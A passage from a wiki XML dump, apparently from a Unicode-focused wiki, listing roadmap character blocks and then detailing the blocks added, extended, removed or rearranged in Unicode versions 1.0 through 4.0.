* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>2vax8cgs1g9vdjntk9nppa78bbdm938</sha1>
    </revision>
    <revision>
      <id>4670500</id>
      <parentid>4670499</parentid>
      <timestamp>2026-09-16T19:28:42Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Extended blocks */</comment>
      <origin>4670500</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="130051" sha1="npv82gei05xzwa2274btmk7lkh7fhe2" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from ''Hebrew''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE and U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357, U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+06EE-U+06EF, U+06FF)
